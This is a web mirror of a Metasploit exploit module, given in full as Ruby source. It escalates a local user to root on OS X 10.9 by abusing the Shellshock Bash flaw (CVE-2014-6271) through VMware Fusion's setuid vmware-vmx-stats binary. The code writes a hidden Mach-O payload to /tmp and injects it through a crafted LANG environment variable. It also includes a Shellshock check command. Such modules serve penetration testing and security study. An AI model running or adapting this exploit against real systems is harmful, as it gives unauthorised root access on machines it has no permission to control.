CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/local/vmware_bash_function_root.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = NormalRanking
8
9
include Msf::Post::File
10
include Msf::Post::OSX::Priv
11
include Msf::Exploit::EXE
12
include Msf::Exploit::FileDropper
13
14
def initialize(info = {})
15
super(update_info(info,
16
'Name' => 'OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock)',
17
'Description' => %q{
18
This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
19
handles external environment variables. This module targets the VMWare Fusion
20
application, allowing an unprivileged local user to get root access.
21
},
22
'License' => MSF_LICENSE,
23
'Author' =>
24
[
25
'Stephane Chazelas', # discovered the bash bug
26
'juken', # discovered the VMWare priv esc
27
'joev', # msf module
28
'mubix' # vmware-vmx-stats
29
],
30
'References' =>
31
[
32
[ 'CVE', '2014-6271' ],
33
[ 'CWE', '94' ],
34
[ 'OSVDB', '112004' ],
35
[ 'EDB', '34765' ]
36
],
37
'Platform' => 'osx',
38
'Arch' => [ ARCH_X64 ],
39
'SessionTypes' => [ 'shell', 'meterpreter' ],
40
'Targets' => [
41
[ 'Mac OS X 10.9 Mavericks x64 (Native Payload)',
42
{
43
'Platform' => 'osx',
44
'Arch' => ARCH_X64
45
}
46
]
47
],
48
'DefaultTarget' => 0,
49
'DisclosureDate' => '2014-09-24',
50
'Notes' =>
51
{
52
'AKA' => ['Shellshock']
53
}
54
))
55
56
register_options [
57
OptString.new('VMWARE_PATH', [true, "The path to VMware.app", '/Applications/VMware Fusion.app']),
58
]
59
register_advanced_options [
60
OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
61
]
62
end
63
64
def base_dir
65
datastore['WritableDir'].to_s
66
end
67
68
def upload(path, data)
69
print_status "Writing '#{path}' (#{data.size} bytes) ..."
70
write_file path, data
71
register_file_for_cleanup path
72
end
73
74
def check
75
check_str = Rex::Text.rand_text_alphanumeric(5)
76
# ensure they are vulnerable to bash env variable bug
77
if cmd_exec("env x='() { :;}; echo #{check_str}' bash -c echo").include?(check_str) &&
78
cmd_exec("file '#{datastore['VMWARE_PATH']}'") !~ /cannot open/
79
80
CheckCode::Vulnerable
81
else
82
CheckCode::Safe
83
end
84
end
85
86
def exploit
87
if is_root?
88
fail_with Failure::BadConfig, 'Session already has root privileges'
89
end
90
91
if check != CheckCode::Vulnerable
92
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
93
end
94
95
unless writable? base_dir
96
fail_with Failure::BadConfig, "#{base_dir} is not writable"
97
end
98
99
payload_file = "#{base_dir}/.#{Rex::Text::rand_text_alpha_lower(8..12)}"
100
exe = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
101
upload payload_file, exe
102
cmd_exec "chmod +x #{payload_file}"
103
104
print_status 'Running VMWare services...'
105
path = '/Contents/Library/vmware-vmx-stats' # path to the suid binary
106
cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}' /dev/random")
107
end
108
end
109
110